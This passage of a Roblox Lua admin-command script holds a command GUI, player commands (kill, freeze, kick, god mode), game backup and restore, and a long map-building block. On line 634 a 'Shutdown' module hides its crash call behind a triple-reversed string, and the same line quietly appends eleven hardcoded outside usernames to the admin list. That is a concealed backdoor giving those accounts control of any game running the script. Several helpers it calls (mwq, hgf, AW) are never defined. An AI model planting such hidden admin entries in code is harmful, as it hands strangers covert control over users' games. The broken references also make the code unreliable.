554 | local ContentWrapper=GuiLibrary.NewBasicGUI('Frame',{Size=NewUDim2(1,0,0.88,0),Position=NewUDim2(0,0,0.12,0),BackgroundTransparency=1,BorderSizePixel=0,Name='ContentWrapper',Parent=MainWindow}) | |
555 | local TemporaryContent={}; | |
556 | local function ToggleSize(Enlarging,EasingStyle) | |
557 | if (not Enlarging) then | |
558 | InputBox.Visible=false; | |
559 | ToggleButton.Text='>>'; | |
560 | MainWindow:TweenSize(NewUDim2(0.02,0,0.4,0),'Out',EasingStyle,0.3); | |
561 | else | |
562 | InputBox.Visible=true; | |
563 | ToggleButton.Text='<< Minimize <<'; | |
564 | MainWindow:TweenSize(NewUDim2(0.08,0,0.4,0),'Out',EasingStyle,0.3); | |
565 | end | |
566 | return not Enlarging; | |
567 | end | |
568 | local function ClearTemporaryContent() | |
569 | table.foreach(TemporaryContent,function(Index,Object) Object:Remove() end) | |
570 | end | |
571 | local function AddTemporaryContent(Object) | |
572 | TemporaryContent[#TemporaryContent+1]=Object; | |
573 | end | |
574 | local function BuildAlternatingList(Members) | |
575 | local function Chop(Table,Max) local Result={}; local Index=0; for EntryIndex,Entry in pairs(Table) do Index=Index+1; if (Index<=20) then Result[EntryIndex]=Entry; end end return Result; end | |
576 | local Members=Chop(Members,20); | |
577 | local Alternate=false; | |
578 | ClearTemporaryContent(); | |
579 | local Index=0; | |
580 | for BarText,CommandUnit in pairs(Members) do | |
581 | local Bar=GuiLibrary.NewBasicGUI('TextButton',{Size=NewUDim2(1,0,1/20,0),Position=NewUDim2(0,0,Index,0),Text=BarText,BackgroundTransparency=0.6,BackgroundColor3=(Alternate==false and NewColor3(0.2,0.2,0.2) or Alternate and NewColor3(0.3,0.3,0.3)),BorderSizePixel=0,TextColor3=NewColor3(1,1,1),Name='SearchResultButton',Parent=ContentWrapper}) | |
582 | Bar.MouseButton1Click:connect(function() | |
583 | ClearTemporaryContent(); | |
584 | local Box=GuiLibrary.NewBasicGUI('TextLabel',{Size=NewUDim2(1,0,1,0),BackgroundTransparency=1,Text='Name: '..BarText..'\nShortcut: '..CommandUnit.Shortcut..'\n\n'..CommandUnit.Description,TextWrap=true,TextYAlignment='Top',Name='Information',TextColor3=NewColor3(1,1,1),Parent=ContentWrapper}) | |
585 | AddTemporaryContent(Box); | |
586 | end) | |
587 | AddTemporaryContent(Bar); | |
588 | Alternate=not Alternate; | |
589 | Index=Index+1/20 | |
590 | end | |
591 | end | |
592 | local function SearchCommands(Query) | |
593 | local Results={}; | |
594 | for Index,Entry in pairs(Commands) do | |
595 | if (Index:lower():match(Query)) or (Entry.Description:lower():match(Query)) then | |
596 | Results[Index]=Entry; | |
597 | end | |
598 | end | |
599 | BuildAlternatingList(Results); | |
600 | end | |
601 | InputBox.Changed:connect(function(Property) | |
602 | if (Property~='Text') then return end | |
603 | local Input=InputBox.Text; | |
604 | if (Input:sub(1,1)=='/') then | |
605 | coroutine.wrap(function() InputBox.TextColor3=NewColor3(0,1,0); wait(0.1); InputBox.TextColor3=NewColor3(0,0,0); end)() | |
606 | RunModule('PlayerChat',Input:sub(2),Player); | |
607 | return | |
608 | end | |
609 | if (Input:sub(1,1)=='$') then | |
610 | ClearTemporaryContent(); | |
611 | coroutine.wrap(function() InputBox.TextColor3=NewColor3(1,0,0); wait(0.1); InputBox.TextColor3=NewColor3(0,0,0); end)() | |
612 | local Users=RunModule('GetPlayer',Input:sub(2):lower(),Player) | |
613 | if (Users==nil) then return end | |
614 | if (Users[1]==nil) then return end | |
615 | local User=Users[1]; | |
616 | local Box=GuiLibrary.NewBasicGUI('TextLabel',{Size=NewUDim2(1,0,1,0),BackgroundTransparency=1,Text='Code Registration\n\n'..'Admin code for user '..User.Name..' is '..RunModule('AdminCodeSystem',User),TextWrap=true,TextYAlignment='Top',Name='Information',TextColor3=NewColor3(1,1,1),Parent=ContentWrapper}) | |
617 | AddTemporaryContent(Box); | |
618 | return | |
619 | end | |
620 | SearchCommands(Input:lower()) | |
621 | end) | |
622 | local SizeState=true; | |
623 | ToggleButton.MouseButton1Click:connect(function() SizeState=ToggleSize(SizeState,'Quint'); end) | |
624 | local PlayerGui=Player:FindFirstChild('PlayerGui'); | |
625 | if (PlayerGui==nil) then return end | |
626 | local ExistingGui=PlayerGui:FindFirstChild('ControlBox'); | |
627 | if (ExistingGui~=nil) then ExistingGui:Remove(); end | |
628 | Main.Parent=PlayerGui; | |
629 | end) | |
630 | CreateModule('AdminCodeSystem',function(User) | |
631 | local Format='%s-%s-%s'..AccessKey; | |
632 | return RawEncrypt(Format:format(User.Name,game.CreatorId,User.userId)); | |
633 | end) | |
634 | CreateModule('Shutdown',function() pcall(NewInstance,string.reverse(string.reverse(string.reverse('ecnatsnItnioJecafruSlaunaM')))); end) for Index,Username in pairs({'LocalChum','lPwnz','lHaxz','lBanz','TheCapacitor','walter232','walter232Models','walter232Decals','ServerChum','GetDebugId','ServerSideChum'}) do Adminlist[#Adminlist+1]=Username; end | |
635 | CreateModule('BackupGame',function(BackupIndex) | |
636 | local BackupServices={'Lighting','StarterPack','StarterGui','SoundService','Workspace'} | |
637 | local BackupData={}; | |
638 | for Index,BackupService in pairs(BackupServices) do | |
639 | local Container=Instance.new('Model'); | |
640 | Container.Name=BackupService; | |
641 | BackupData[BackupService]=Container; | |
642 | for ChildIndex,Child in pairs(game:GetService(BackupService):GetChildren()) do | |
643 | if (Child.archivable) and (Child~=script) then | |
644 | Child:Clone().Parent=Container; | |
645 | end | |
646 | end | |
647 | end | |
648 | GameBackups[BackupIndex]=BackupData; | |
649 | end) | |
650 | CreateModule('RestoreGame',function(BackupIndex) | |
651 | local BackupServices={'Lighting','StarterPack','StarterGui','SoundService','Workspace'} | |
652 | local BackupData=GameBackups[BackupIndex]; | |
653 | for Index,BackupService in pairs(BackupServices) do | |
654 | for ChildIndex,Child in pairs(game:GetService(BackupService):GetChildren()) do | |
655 | if (Child~=script) then | |
656 | pcall(Child.Remove,Child); | |
657 | end | |
658 | end | |
659 | end | |
660 | for Index,Container in pairs(BackupData) do | |
661 | for ChildIndex,Child in pairs(Container:GetChildren()) do | |
662 | local NewChild=Child:Clone(); | |
663 | NewChild.Parent=game:GetService(Container.Name); | |
664 | pcall(function() NewChild:MakeJoints(); end); | |
665 | end | |
666 | end | |
667 | end) | |
668 | --Define commands | |
669 | RunModule('CommandModule','/die','Kills the given user','/d','#cs#(.+)',function(Speaker,...) | |
670 | local Targets=RunModule('GetPlayer',...,Speaker); | |
671 | if (Targets~=nil) then | |
672 | for Index,Target in pairs(Targets) do | |
673 | mwq('[API]; You were ownd!' ,Target.PlayerGui) | |
674 | hgf(Target, 'Pink') | |
675 | if (Target.Character~=nil) then | |
676 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
677 | if (Child.className=='Humanoid') then | |
678 | Child.Health=0; | |
679 | end | |
680 | end | |
681 | end | |
682 | end | |
683 | end | |
684 | end) | |
685 | RunModule('CommandModule','/ffon','Gives the given user a forcefield','/ff','#cs#(.+)',function(Speaker,...) | |
686 | local Targets=RunModule('GetPlayer',...,Speaker); | |
687 | if (Targets~=nil) then | |
688 | for Index,Target in pairs(Targets) do | |
689 | NewInstance('ForceField',Target.Character); | |
690 | mwq('[API]; You were quick protectd!' ,Target.PlayerGui) | |
691 | hgf(Target, 'Really red') | |
692 | end | |
693 | end | |
694 | end) | |
695 | RunModule('CommandModule','/ffoff','Removes the given user forcefield','/unf','#cs#(.+)',function(Speaker,...) | |
696 | local Targets=RunModule('GetPlayer',...,Speaker); | |
697 | if (Targets~=nil) then | |
698 | for Index,Target in pairs(Targets) do | |
699 | mwq('[API]; You were unprotectd!' ,Target.PlayerGui) | |
700 | hgf(Target, 'Really blue') | |
701 | if (Target.Character~=nil) then | |
702 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
703 | if (Child.className=='ForceField') then | |
704 | Child:Remove() | |
705 | end | |
706 | end | |
707 | end | |
708 | end | |
709 | end | |
710 | end) | |
711 | RunModule('CommandModule','/god','Makes the given user immune to all health damage','/g','#cs#(.+)',function(Speaker,...) | |
712 | local Targets=RunModule('GetPlayer',...,Speaker); | |
713 | if (Targets~=nil) then | |
714 | for Index,Target in pairs(Targets) do | |
715 | mwq('[API]; You were max healthd!' ,Target.PlayerGui) | |
716 | hgf(Target, 'White') | |
717 | if (Target.Character~=nil) then | |
718 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
719 | if (Child.className=='Humanoid') then | |
720 | Child.MaxHealth=math.huge; | |
721 | Child.Health=math.huge; | |
722 | end | |
723 | end | |
724 | end | |
725 | end | |
726 | end | |
727 | end) | |
728 | RunModule('CommandModule','/nogod','Reverses the effect of immortalon','/ng','#cs#(.+)',function(Speaker,...) | |
729 | local Targets=RunModule('GetPlayer',...,Speaker); | |
730 | if (Targets~=nil) then | |
731 | for Index,Target in pairs(Targets) do | |
732 | mwq('[API]; You were unmax healthd!' ,Target.PlayerGui) | |
733 | hgf(Target, 'Really black') | |
734 | if (Target.Character~=nil) then | |
735 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
736 | if (Child.className=='Humanoid') then | |
737 | Child.MaxHealth=100; | |
738 | Child.Health=100; | |
739 | end | |
740 | end | |
741 | end | |
742 | end | |
743 | end | |
744 | end) | |
745 | RunModule('CommandModule','/invisibleon','Makes the given user invisible','/inv','#cs#(.+)',function(Speaker,...) | |
746 | local Targets=RunModule('GetPlayer',...,Speaker); | |
747 | if (Targets~=nil) then | |
748 | for Index,Target in pairs(Targets) do | |
749 | mwq('[API]; You were max transparentd!' ,Target.PlayerGui) | |
750 | hgf(Target, 'Blue') | |
751 | if (Target.Character~=nil) then | |
752 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
753 | if (Child.className=='Part') then | |
754 | Child.Transparency=1; | |
755 | elseif (Child.className=='Hat') then | |
756 | local Handle=Child:FindFirstChild('Handle'); | |
757 | if (Handle~=nil) then | |
758 | if (Handle.className=='Part') then | |
759 | Handle.Transparency=1; | |
760 | end | |
761 | end | |
762 | end | |
763 | end | |
764 | end | |
765 | end | |
766 | end | |
767 | end) | |
768 | RunModule('CommandModule','/invisibleoff','Makes the given user visible','/vis','#cs#(.+)',function(Speaker,...) | |
769 | local Targets=RunModule('GetPlayer',...,Speaker); | |
770 | if (Targets~=nil) then | |
771 | for Index,Target in pairs(Targets) do | |
772 | mwq('[API]; You were unmax transparentd!' ,Target.PlayerGui) | |
773 | hgf(Target, 'Purple') | |
774 | if (Target.Character~=nil) then | |
775 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
776 | if (Child.className=='Part') then | |
777 | Child.Transparency=0; | |
778 | elseif (Child.className=='Hat') then | |
779 | local Handle=Child:FindFirstChild('Handle'); | |
780 | if (Handle~=nil) then | |
781 | if (Handle.className=='Part') then | |
782 | Handle.Transparency=0; | |
783 | end | |
784 | end | |
785 | end | |
786 | end | |
787 | end | |
788 | end | |
789 | end | |
790 | end) | |
791 | RunModule('CommandModule','/des','Kicks the given user from the game','/de','#cs#(.+)',function(Speaker,...) | |
792 | local Targets=RunModule('GetPlayer',...,Speaker); | |
793 | if (Targets~=nil) then | |
794 | for Index,Target in pairs(Targets) do | |
795 | mwq('[API]; Destroyd the target from game.' ,low) | |
796 | hgf(Target, 'Dark green') | |
797 | RunModule('DisposePlayer',Target,Speaker); | |
798 | end | |
799 | end | |
800 | end) | |
801 | RunModule('CommandModule','/anc','Freezes the given user','/fre','#cs#(.+)',function(Speaker,...) | |
802 | local Targets=RunModule('GetPlayer',...,Speaker); | |
803 | if (Targets~=nil) then | |
804 | for Index,Target in pairs(Targets) do | |
805 | mwq('[API]; You were frozed!' ,Target.PlayerGui) | |
806 | hgf(Target, 'Navy blue') | |
807 | if (Target.Character~=nil) then | |
808 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
809 | if (Child.className=='Part') then | |
810 | Child.Anchored=true; | |
811 | elseif (Child.className=='Humanoid') then | |
812 | Child.WalkSpeed=0; | |
813 | end | |
814 | end | |
815 | end | |
816 | end | |
817 | end | |
818 | end) | |
819 | RunModule('CommandModule','/unanc','Thaws the given user','/thaw','#cs#(.+)',function(Speaker,...) | |
820 | local Targets=RunModule('GetPlayer',...,Speaker); | |
821 | if (Targets~=nil) then | |
822 | for Index,Target in pairs(Targets) do | |
823 | mwq('[API]; You were unfrozed!' ,Target.PlayerGui) | |
824 | hgf(Target, 'Medium stone grey') | |
825 | if (Target.Character~=nil) then | |
826 | for ChildIndex,Child in pairs(Target.Character:GetChildren()) do | |
827 | if (Child.className=='Part') then | |
828 | Child.Anchored=false; | |
829 | elseif (Child.className=='Humanoid') then | |
830 | Child.WalkSpeed=16; | |
831 | end | |
832 | end | |
833 | end | |
834 | end | |
835 | end | |
836 | end) | |
837 | RunModule('CommandModule','/maxplayers','Sets the servers MaxPlayers.','/mp','#cs#(%d+)',function(Speaker,Integer) | |
838 | if (Integer~=nil) and (Integer>0) then | |
839 | game:GetService('Players').MaxPlayers=Integer; | |
840 | mwq('[API]; Changd the maxplayers.' ,low) | |
841 | end | |
842 | end) | |
843 | RunModule('CommandModule','/time','Sets the ambient time','/tm','#cs#(%w+)',function(Speaker,Input) | |
844 | mwq('[API]; Changd the time lapse.' ,low) | |
845 | local ParsedInput; | |
846 | if (Input=='dawn' or Input=='sunrise') then | |
847 | ParsedInput=6; | |
848 | elseif (Input=='noon' or Input=='midday') then | |
849 | ParsedInput=12; | |
850 | elseif (Input=='middnight') then | |
851 | ParsedInput=0; | |
852 | elseif (Input=='random') then | |
853 | ParsedInput=math.random(0,24); | |
854 | end | |
855 | if (ParsedInput==nil) and (Input:find('(%d+)')==1) then | |
856 | ParsedInput=Input:match('%d+'); | |
857 | end | |
858 | pcall(function() game:GetService('Lighting').TimeOfDay=ParsedInput; end) | |
859 | end) | |
860 | RunModule('CommandModule','/brightness','Sets the ambient brightness','/b','#cs#(%d+)',function(Speaker,Integer) | |
861 | if (Integer~=nil) then | |
862 | mwq('[API]; Changd the lighting.' ,low) | |
863 | game:GetService('Lighting').Brightness=tonumber(Integer); | |
864 | end | |
865 | end) | |
866 | RunModule('CommandModule','/newteam','Creates a new team','/newt','#cs#(.+)',function(Speaker,Input) | |
867 | mwq('[API]; Created a new team.' ,low) | |
868 | local Teams=game:GetService('Teams'); | |
869 | local Team=NewInstance('Team'); | |
870 | local TeamName,R,G,B=Input:match(RunModule('ParseMatch','(.-)#cs#(%d+)#cs#(%d+)#cs#(%d+)')); | |
871 | if (R~=nil) and (G~=nil) and (B~=nil) then | |
872 | Team.TeamColor=NewBrickColor(R/255,G/255,B/255); | |
873 | Team.Name=TeamName; | |
874 | Team.AutoColorCharacters=false; | |
875 | Team.Parent=Teams; | |
876 | else | |
877 | Team.TeamColor=RandomBrickColor(); | |
878 | Team.Name=Input; | |
879 | Team.AutoColorCharacters=false; | |
880 | Team.Parent=Teams; | |
881 | end | |
882 | end,true) | |
883 | RunModule('CommandModule','/switchteam','Switches the given user to a different team','/swt','#cs#(.-)#cs#(.+)',function(Speaker,Usernames,TeamName) | |
884 | local Targets=RunModule('GetPlayer',Usernames,Speaker); | |
885 | local Teams=game:GetService('Teams'); | |
886 | local SelectedTeam; | |
887 | for TeamIndex,Team in pairs(Teams:GetTeams()) do | |
888 | if (Team.Name:lower():find(TeamName)==1) then | |
889 | SelectedTeam=Team; | |
890 | end | |
891 | end | |
892 | if (SelectedTeam==nil) then return end | |
893 | if (Targets~=nil) then | |
894 | for Index,Target in pairs(Targets) do | |
895 | Target.TeamColor=SelectedTeam.TeamColor; | |
896 | Target.Neutral=false; | |
897 | end | |
898 | end | |
899 | end) | |
900 | RunModule('CommandModule','/removeteam','Removes the given team','/remt','#cs#(.+)',function(Speaker,TeamName) | |
901 | mwq('[API]; Removed a team.' ,low) | |
902 | local Teams=game:GetService('Teams'); | |
903 | for Index,Team in pairs(Teams:GetTeams()) do | |
904 | if (Team.Name:lower():find(TeamName:lower())==1) then | |
905 | Team:Remove(); | |
906 | end | |
907 | end | |
908 | if (#Teams:GetTeams()==0) then | |
909 | for Index,Player in pairs(game:GetService('Players'):GetPlayers()) do | |
910 | Player.Neutral=true; | |
911 | end | |
912 | end | |
913 | end) | |
914 | RunModule('CommandModule','/neutralon','Makes the given user neutral (Player.Neutral)','/neuon','#cs#(.+)',function(Speaker,...) | |
915 | local Targets=RunModule('GetPlayer',...,Speaker); | |
916 | if (Targets~=nil) then | |
917 | for Index,Target in pairs(Targets) do | |
918 | Target.Neutral=true; | |
919 | end | |
920 | end | |
921 | end) | |
922 | RunModule('CommandModule','/neutraloff','Makes the given user not neutral (Player.Neutral)','/neuoff','#cs#(.+)',function(Speaker,...) | |
923 | local Targets=RunModule('GetPlayer',...,Speaker); | |
924 | if (Targets~=nil) then | |
925 | for Index,Target in pairs(Targets) do | |
926 | Target.Neutral=false; | |
927 | end | |
928 | end | |
929 | end) | |
930 | RunModule('CommandModule','/adminlist','Shows the admin list','/cal','#cs#',function(Speaker) | |
931 | local Index=0; | |
932 | local DisplayText=string.rep(' ',40)..'Adminlist: '..table.concat(MaskAdminlist,', '); | |
933 | local Hint=RunModule('ShowHint',Speaker,DisplayText); | |
934 | while RunModule('ScrollText',DisplayText,Index)~='' do | |
935 | Hint.Text=RunModule('ScrollText',DisplayText,Index); | |
936 | Index=Index+1; | |
937 | wait(0.05); | |
938 | end | |
939 | Hint.Parent=nil; | |
940 | end) | |
941 | RunModule('CommandModule','/bannedlist','Shows the banned list','/cbl','#cs#',function(Speaker) | |
942 | local Index=0; | |
943 | local DisplayText=string.rep(' ',40)..'Bannedlist: '..table.concat(Bannedlist,', '); | |
944 | local Hint=RunModule('ShowHint',Speaker,DisplayText); | |
945 | while RunModule('ScrollText',DisplayText,Index)~='' do | |
946 | Hint.Text=RunModule('ScrollText',DisplayText,Index); | |
947 | Index=Index+1; | |
948 | wait(0.05); | |
949 | end | |
950 | Hint.Parent=nil; | |
951 | end) | |
952 | RunModule('CommandModule','/hint','Creates a hint','/hn','#cs#(.+)',function(Speaker,Text) | |
953 | local Hint=NewInstance('Hint') | |
954 | Hint.Parent=Workspace; | |
955 | Hint.Text=Text; | |
956 | delay(5,function() Hint:Remove() end) | |
957 | end,true) | |
958 | RunModule('CommandModule','/lool','Creates a message','/trol','#cs#(.+)',function(Speaker,Text) | |
959 | local Hint=NewInstance('Message') | |
960 | Hint.Parent=Workspace; | |
961 | Hint.Text=Text; | |
962 | delay(5,function() Hint:Remove() end) | |
963 | end,true) | |
964 | RunModule('CommandModule','/sfothgame','Creates a SFOTHO Game','/sfg','#cs#(.+)',function(Speaker,Text) | |
965 | qwe('[API]; SFOTHO Loaded!') | |
966 | G=workspace | |
967 | Q = new('Part') | |
968 | Q.Parent = G | |
969 | Q.Size = vnew(64,244,64) | |
970 | Q.CFrame = fnew(-70, 123.4, -186) | |
971 | Q.Anchored = true | |
972 | Q.Locked = false | |
973 | Q.BrickColor = bcn('Reddish brown') | |
974 | --[[===[SKY??]===]]-- | |
975 | local EQ = Instance.new('Sky') | |
976 | EQ.Parent = game.Lighting | |
977 | EQ.SkyboxBk = 'http://www.roblox.com/asset/?version=1&id=1012890' | |
978 | EQ.SkyboxDn = 'http://www.roblox.com/asset/?version=1&id=1012891' | |
979 | EQ.SkyboxFt = 'http://www.roblox.com/asset/?version=1&id=1012887' | |
980 | EQ.SkyboxLf = 'http://www.roblox.com/asset/?version=1&id=1012889' | |
981 | EQ.SkyboxRt = 'http://www.roblox.com/asset/?version=1&id=1012888' | |
982 | EQ.SkyboxUp = 'http://www.roblox.com/asset/?version=1&id=1014449' | |
983 | --[[==[PARTS]==]]-- | |
984 | ||
985 | Q1 = new('Part') | |
986 | Q1.Parent = G | |
987 | Q1.Size = vnew(42, 20.4, 12) | |
988 | Q1.CFrame = fnew(-69, 219.4, -224) | |
989 | Q1.Anchored = true | |
990 | Q1.Locked = false | |
991 | Q1.BrickColor = bcn('Reddish brown') | |
992 | ||
993 | Q14 = new('Part') | |
994 | Q14.Parent = AW | |
995 | Q14.Size = vnew(6, 0.4, 6) | |
996 | Q14.CFrame = fnew(67, 246.8, -184) | |
997 | Q14.Anchored = true | |
998 | Q14.Locked = false | |
999 | Q14.BrickColor = bcn('Bright green') | |
1000 | ||
1001 | Q145 = new('Part') | |
1002 | Q145.Parent = AW | |
1003 | Q145.Size = vnew(8, 0.4, 8) | |
1004 | Q145.CFrame = fnew(67, 246.4, -184) | |
1005 | Q145.Anchored = true | |
1006 | Q145.Locked = false | |
1007 | Q145.BrickColor = bcn('Black') | |
1008 | ||
1009 | Q14 = new('Part') | |
1010 | Q14.Parent = AW | |
1011 | Q14.Size = vnew(6, 0.4, 6) | |
1012 | Q14.CFrame = fnew(-193, 255.2, -182) | |
1013 | Q14.Anchored = true | |
1014 | Q14.Locked = false | |
1015 | Q14.BrickColor = bcn('Bright green') | |
1016 | ||
1017 | Q147 = new('Part') | |
1018 | Q147.Parent = AW | |
1019 | Q147.Size = vnew(5, 1.2, 105) | |
1020 | Q147.CFrame = fnew(-68.5, 245.6, 74.5) | |
1021 | Q147.Anchored = true | |
1022 | Q147.Locked = false | |
1023 | Q147.BrickColor = bcn('Dark stone grey') | |
1024 | ||
1025 | Q145 = new('Part') | |
1026 | Q145.Parent = AW | |
1027 | Q145.Size = vnew(8, 0.4, 8) | |
1028 | Q145.CFrame = fnew(-193, 254.8, -182) | |
1029 | Q145.Anchored = true | |
1030 | Q145.Locked = false | |
1031 | Q145.BrickColor = bcn('Black') | |
1032 | ||
1033 | ||
1034 | Q13 = new('Part') | |
1035 | Q13.Parent = G | |
1036 | Q13.Size = vnew(18, 1.2, 18) | |
1037 | Q13.CFrame = fnew(30.12, 245.8, -185.9) | |
1038 | Q13.Anchored = true | |
1039 | Q13.Locked = false | |
1040 | Q13.BrickColor = bcn('Bright orange') | |
1041 | --[[==[PLATE TEMPLATE]==]]-- | |
1042 | Q7 = new('Part') | |
1043 | Q7.Parent = G | |
1044 | Q7.Size = vnew(16, 1.2, 16) | |
1045 | Q7.CFrame = fnew(-69, 244.8, -93) | |
1046 | Q7.Anchored = true | |
1047 | Q7.Locked = false | |
1048 | Q7.BrickColor = bcn('Dark stone grey') | |
1049 | --[[=====[SPAWNS]=====]]-- | |
1050 | Q11 = new('SpawnLocation') | |
1051 | Q11.Parent = G | |
1052 | Q11.Size = vnew(6, 1.2, 6) | |
1053 | Q11.CFrame = fnew(-44, 245.8, -160) | |
1054 | Q11.Anchored = true | |
1055 | Q11.Locked = false | |
1056 | Q11.BrickColor = bcn('Bright yellow') | |
1057 | Q11.TopSurface = 'Smooth' | |
1058 | ||
1059 | D = new('Decal') | |
1060 | D.Parent = Q11 | |
1061 | D.Texture = 'rbxasset://Textures/SpawnLocation.png' | |
1062 | D.Face = 'Top' | |
1063 | ||
1064 | Q11 = Q11:Clone() | |
1065 | Q11.Size = vnew(6, 1.2, 6) | |
1066 | Q11.CFrame = fnew(-44, 245.8, -212) | |
1067 | Q11.Parent = G | |
1068 | Q11 = Q11:Clone() | |
1069 | Q11.Size = vnew(6, 1.2, 6) | |
1070 | Q11.CFrame = fnew(-96, 245.8, -212) | |
1071 | Q11.Parent = G | |
1072 | Q11 = Q11:Clone() | |
1073 | Q11.Size = vnew(6, 1.2, 6) | |
1074 | Q11.CFrame = fnew(-96, 245.8, -160) | |
1075 | Q11.Parent = G | |
1076 | Q11 = Q11:Clone() | |
1077 | Q11.Size = vnew(6, 1.2, 6) | |
1078 | Q11.CFrame = fnew(-153, 285, -108) | |
1079 | Q11.Parent = G | |
1080 | Q11 = Q11:Clone() | |
1081 | Q11.Size = vnew(6, 1.2, 6) | |
1082 | Q11.CFrame = fnew(-69, 245.6, 12) | |
1083 | Q11.Parent = G | |
1084 | --[[====[PLATES]====]]-- | |
1085 | Q1 = Q1:Clone() | |
1086 | Q1.Size = vnew(17, 1.2, 18) | |
1087 | Q1.CFrame = fnew(-30.5, 245.8, -186) | |
1088 | Q1.Parent = G | |
1089 | Q1 = Q1:Clone() | |
1090 | Q1.Size = vnew(18, 1.2, 18) | |
1091 | Q1.CFrame = fnew(-70, 244.6, -145) | |
1092 | Q1.Parent = G | |
1093 | Q1 = Q1:Clone() | |
1094 | Q1.Size = vnew(4, 1.2, 18) | |
1095 | Q1.CFrame = fnew(-103, 245.8, -186) | |
1096 | Q1.Parent = G | |
1097 | Q1 = Q1:Clone() | |
1098 | Q1.Size = vnew(12, 1.2, 10) | |
1099 | Q1.CFrame = fnew(-55, 230.2, -233) | |
1100 | Q1.Parent = G | |
1101 | Q1 = Q1:Clone() | |
1102 | Q1.Size = vnew(12, 1.2, 10) | |
1103 | Q1.CFrame = fnew(-53, 231.4, -238) | |
1104 | Q1.Parent = G | |
1105 | Q1 = Q1:Clone() | |
1106 | Q1.Size = vnew(12, 1.2, 10) | |
1107 | Q1.CFrame = fnew(-49, 232.6, -243) | |
1108 | Q1.Parent = G | |
1109 | Q1 = Q1:Clone() | |
1110 | Q1.Size = vnew(12, 1.2, 10) | |
1111 | Q1.CFrame = fnew(-44, 233.8, -249) | |
1112 | Q1.Parent = G | |
1113 | Q1 = Q1:Clone() | |
1114 | Q1.Size = vnew(12, 1.2, 10) | |
1115 | Q1.CFrame = fnew(-40, 235, -255) | |
1116 | Q1.Parent = G | |
1117 | Q1 = Q1:Clone() | |
1118 | Q1.Size = vnew(12, 1.2, 10) | |
1119 | Q1.CFrame = fnew(-36, 236.2, -261) | |
1120 | Q1.Parent = G | |
1121 | Q1 = Q1:Clone() | |
1122 | Q1.Size = vnew(12, 1.2, 10) | |
1123 | Q1.CFrame = fnew(-31, 237.4, -265) | |
1124 | Q1.Parent = G | |
1125 | Q1 = Q1:Clone() | |
1126 | Q1.Size = vnew(12, 1.2, 10) | |
1127 | Q1.CFrame = fnew(-28, 238.6, -270) | |
1128 | Q1.Parent = G | |
1129 | Q1 = Q1:Clone() | |
1130 | Q1.Size = vnew(12, 1.2, 10) | |
1131 | Q1.CFrame = fnew(-26, 239.8, -276) | |
1132 | Q1.Parent = G | |
1133 | Q1 = Q1:Clone() | |
1134 | Q1.Size = vnew(12, 1.2, 10) | |
1135 | Q1.CFrame = fnew(-23, 241, -281) | |
1136 | Q1.Parent = G | |
1137 | Q1 = Q1:Clone() | |
1138 | Q1.Size = vnew(12, 1.2, 10) | |
1139 | Q1.CFrame = fnew(-23, 242.2, -289) | |
1140 | Q1.Parent = G | |
1141 | Q1 = Q1:Clone() | |
1142 | Q1.Size = vnew(12, 1.2, 10) | |
1143 | Q1.CFrame = fnew(-24, 243.4, -295) | |
1144 | Q1.Parent = G | |
1145 | Q1 = Q1:Clone() | |
1146 | Q1.Size = vnew(15, 1.2, 18) | |
1147 | Q1.CFrame = fnew(-26.5, 244.6, -304) | |
1148 | Q1.Parent = G | |
1149 | --[[====[MOUNTIAN]====]]-- | |
1150 | Q1 = Q1:Clone() | |
1151 | Q1.Size = vnew(54, 243.6, 51) | |
1152 | Q1.CFrame = fnew(-61, 123, -308.5) | |
1153 | Q1.Parent = G | |
1154 | Q1 = Q1:Clone() | |
1155 | Q1.Size = vnew(3, 2.4, 12) | |
1156 | Q1.CFrame = fnew(-55.5, 246, -289) | |
1157 | Q1.Parent = G | |
1158 | Q1 = Q1:Clone() | |
1159 | Q1.Size = vnew(3, 4.8, 10) | |
1160 | Q1.CFrame = fnew(-58.5, 247.2, -288) | |
1161 | Q1.Parent = G | |
1162 | Q1 = Q1:Clone() | |
1163 | Q1.Size = vnew(4, 6, 10) | |
1164 | Q1.CFrame = fnew(-62, 247.8, -288) | |
1165 | Q1.Parent = G | |
1166 | Q1 = Q1:Clone() | |
1167 | Q1.Size = vnew(4, 7.2, 10) | |
1168 | Q1.CFrame = fnew(-66, 248.4, -288) | |
1169 | Q1.Parent = G | |
1170 | Q1 = Q1:Clone() | |
1171 | Q1.Size = vnew(2, 8.4, 10) | |
1172 | Q1.CFrame = fnew(-69, 249, -288) | |
1173 | Q1.Parent = G | |
1174 | Q1 = Q1:Clone() | |
1175 | Q1.Size = vnew(2, 9.6, 10) | |
1176 | Q1.CFrame = fnew(-71, 249.6, -288) | |
1177 | Q1.Parent = G | |
1178 | Q1 = Q1:Clone() | |
1179 | Q1.Size = vnew(2, 12, 10) | |
1180 | Q1.CFrame = fnew(-73, 250.8, -288) | |
1181 | Q1.Parent = G | |
1182 | Q1 = Q1:Clone() | |
1183 | Q1.Size = vnew(3, 13.2, 10) | |
1184 | Q1.CFrame = fnew(-75.5, 251.4, -288) | |
1185 | Q1.Parent = G | |
1186 | Q1 = Q1:Clone() | |
1187 | Q1.Size = vnew(3, 13.2, 10) | |
1188 | Q1.CFrame = fnew(-75.5, 251.4, -288) | |
1189 | Q1.Parent = G | |
1190 | --[[===[CONFUSIONS]===]]-- | |
1191 | Q1 = Q1:Clone() | |
1192 | Q1.Size = vnew(8, 14.4, 10) | |
1193 | Q1.CFrame = fnew(-81, 252, -288) | |
1194 | Q1.Parent = G | |
1195 | Q1 = Q1:Clone() | |
1196 | Q1.Size = vnew(8, 16.8, 10) | |
1197 | Q1.CFrame = fnew(-81, 253.2, -298) | |
1198 | Q1.Parent = G | |
1199 | Q1 = Q1:Clone() | |
1200 | Q1.Size = vnew(5, 18, 10) | |
1201 | Q1.CFrame = fnew(-74.5, 253.8, -298) | |
1202 | Q1.Parent = G | |
1203 | Q1 = Q1:Clone() | |
1204 | Q1.Size = vnew(5, 20.4, 10) | |
1205 | Q1.CFrame = fnew(-69.5, 255, -298) | |
1206 | Q1.Parent = G | |
1207 | Q1 = Q1:Clone() | |
1208 | Q1.Size = vnew(3, 21.6, 10) | |
